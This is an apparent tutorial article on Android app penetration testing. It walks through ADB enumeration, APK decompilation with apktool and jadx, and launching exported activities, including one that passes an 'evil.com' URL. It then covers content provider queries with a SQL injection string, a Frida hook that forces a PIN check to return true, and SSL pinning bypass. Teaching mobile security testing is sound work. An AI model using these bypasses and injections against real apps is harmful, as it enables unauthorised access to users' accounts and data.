Android Penetration Testing: ADB, APK Analysis, and Frida Dynamic Instrumentation

Android applications are a prime target for penetration testers and bug bounty hunters. Unlike web applications, mobile apps often bundle logic, secrets, and authentication mechanisms into a redistributable package that you can fully inspect. This guide covers the complete Android pentest workflow — from ADB enumeration to Frida-powered dynamic analysis.

Android Security Model Overview

Android's security model is built around application sandboxing. Each app runs as its own Linux user, with a unique UID, isolated file storage under /data/data/<package>/, and access controlled by the permission system. Key components of the Android architecture relevant to pentesters:

• Activities — UI screens; exported activities can be launched by other apps
• Services — background processing; exported services can be bound/started by others
• Content Providers — SQLite database interfaces; often expose data via URIs
• Broadcast Receivers — event listeners; exported receivers respond to system or app broadcasts
• AndroidManifest.xml — the app's configuration file declaring components, permissions, and exported status

ADB Setup and Device Enumeration

The Android Debug Bridge (ADB) is your primary interface to a rooted test device or emulator. Enable USB debugging in developer options, then connect:

# Verify device is connected
adb devices

# Start an interactive shell
adb shell

# List all installed packages
adb shell pm list packages

# Show only third-party (non-system) apps
adb shell pm list packages -3

# Find a specific app's package name
adb shell pm list packages | grep -i "bankingapp"

# Get the APK path on device
adb shell pm path com.example.targetapp

# Pull the APK to your local machine
adb pull /data/app/com.example.targetapp-1/base.apk ./target.apk

Once you have a shell, use dumpsys for deeper device and app intelligence:

# Dump all app info (permissions, activities, services)
adb shell dumpsys package com.example.targetapp

# See running activities
adb shell dumpsys activity activities

# View network connections
adb shell dumpsys connectivity

# List accounts stored on device
adb shell dumpsys account

# View clipboard content
adb shell dumpsys clipboard

APK Extraction and Decompilation

With the APK in hand, decompile it using apktool for resource extraction and smali disassembly, and jadx for near-Java decompilation:

# Decompile with apktool (extracts smali, resources, manifest)
apktool d target.apk -o target_decompiled

# Decompile with jadx for readable Java/Kotlin output
jadx -d target_jadx target.apk

# Or use the jadx GUI
jadx-gui target.apk

Static Analysis: What to Look For

The AndroidManifest.xml is your first stop. Look for exported components with no permission requirement — these are accessible to any app (or attacker with ADB):

<!-- Vulnerable: exported with no permission -->
<activity android:name=".AdminActivity" android:exported="true" />

<!-- Vulnerable content provider -->
<provider android:name=".UserProvider"
    android:authorities="com.example.targetapp.provider"
    android:exported="true" />

In the decompiled Java/Kotlin code, hunt for hardcoded secrets:

# Search for API keys, tokens, passwords
grep -r "api_key\|apikey\|secret\|password\|token\|AWS\|AKIA" target_jadx/

# Find hardcoded URLs and endpoints
grep -r "http\|https\|192\.168\|10\." target_jadx/ | grep -v "test\|example"

# Look for Base64-encoded strings
grep -r "Base64" target_jadx/

Check the res/raw/ and assets/ directories for bundled certificates, config files, SQLite databases, and Firebase config (google-services.json).

Intent Fuzzing for Exported Activities

Exported activities can be directly launched via ADB. This can bypass authentication screens or trigger hidden debug functionality:

# Launch an exported activity directly
adb shell am start -n com.example.targetapp/.AdminActivity

# Pass extra data to the intent
adb shell am start -n com.example.targetapp/.DeepLinkActivity     --es "url" "http://evil.com"

# Start an exported service
adb shell am startservice -n com.example.targetapp/.SyncService

# Send a broadcast to an exported receiver
adb shell am broadcast -a com.example.targetapp.DEBUG_ACTION

Content Provider Attacks

Exported content providers can expose SQLite databases without authentication:

# Query a content provider
adb shell content query --uri content://com.example.targetapp.provider/users

# Insert data
adb shell content insert --uri content://com.example.targetapp.provider/users     --bind name:s:attacker --bind email:s:[email protected]

# Check for SQL injection in content providers
adb shell content query     --uri "content://com.example.targetapp.provider/users"     --where "1=1 OR 1=1--"

Frida Setup for Dynamic Analysis

Frida is a dynamic instrumentation toolkit that lets you inject JavaScript into running processes. For Android, you need frida-server running on the device:

# Download frida-server for your device architecture
# Check arch: adb shell getprop ro.product.cpu.abi

# Push frida-server to device
adb push frida-server /data/local/tmp/frida-server
adb shell chmod 755 /data/local/tmp/frida-server

# Start frida-server (as root)
adb shell su -c "/data/local/tmp/frida-server &"

# Verify on host machine
frida-ps -U  # List running processes on USB device

# Attach to an app
frida -U -n "Target App" -l script.js

Hooking Authentication Methods with Frida

Once attached, you can hook any Java method at runtime. A common target is login validation:

// Hook a login check method to always return true
Java.perform(function() {
    var AuthManager = Java.use("com.example.targetapp.AuthManager");

    AuthManager.checkPin.implementation = function(pin) {
        console.log("[*] checkPin called with: " + pin);
        return true;  // always authenticate
    };

    // Hook string comparison used for token validation
    var String = Java.use("java.lang.String");
    String.equals.implementation = function(other) {
        var result = this.equals(other);
        console.log("[*] String.equals: " + this + " == " + other + " => " + result);
        return result;
    };
});

SSL Pinning Bypass

Many apps implement SSL certificate pinning to prevent traffic interception. Bypass it with Frida or objection:

# Using objection (built on Frida, easier CLI)
objection -g com.example.targetapp explore

# Inside objection shell:
android sslpinning disable

# Using Frida Universal SSL Kill Switch script directly
frida -U -n "Target App"     -l /path/to/frida-universal-ssl-kill-switch.js

# Alternative: patch network_security_config.xml via apktool
# In res/xml/network_security_config.xml:
# <domain-config cleartextTrafficPermitted="true">
#   <trust-anchors>
#     <certificates src="user" />  <!-- trust user-installed certs -->
#   </trust-anchors>
# </domain-config>

After bypassing pinning, configure Burp Suite as a proxy: Settings > Network > Connections, set proxy to your machine's IP on port 8080, then install the Burp CA certificate from http://burpsuite/cert.

Use our Mobile Security Generator to quickly generate Frida scripts for SSL pinning bypass, root detection bypass, and method hooking templates. For escalating privileges after gaining initial access, see the Privilege Escalation Generator.

Summary Checklist

1. Extract APK with adb pull or directly from Play Store backup
2. Decompile with apktool + jadx
3. Review AndroidManifest.xml for exported components and dangerous permissions
4. Grep source for hardcoded secrets, API keys, and endpoints
5. Launch exported activities directly via ADB intent
6. Query exported content providers for data exposure
7. Deploy frida-server, use objection to bypass SSL pinning
8. Hook authentication methods to understand and bypass logic
9. Intercept decrypted traffic in Burp Suite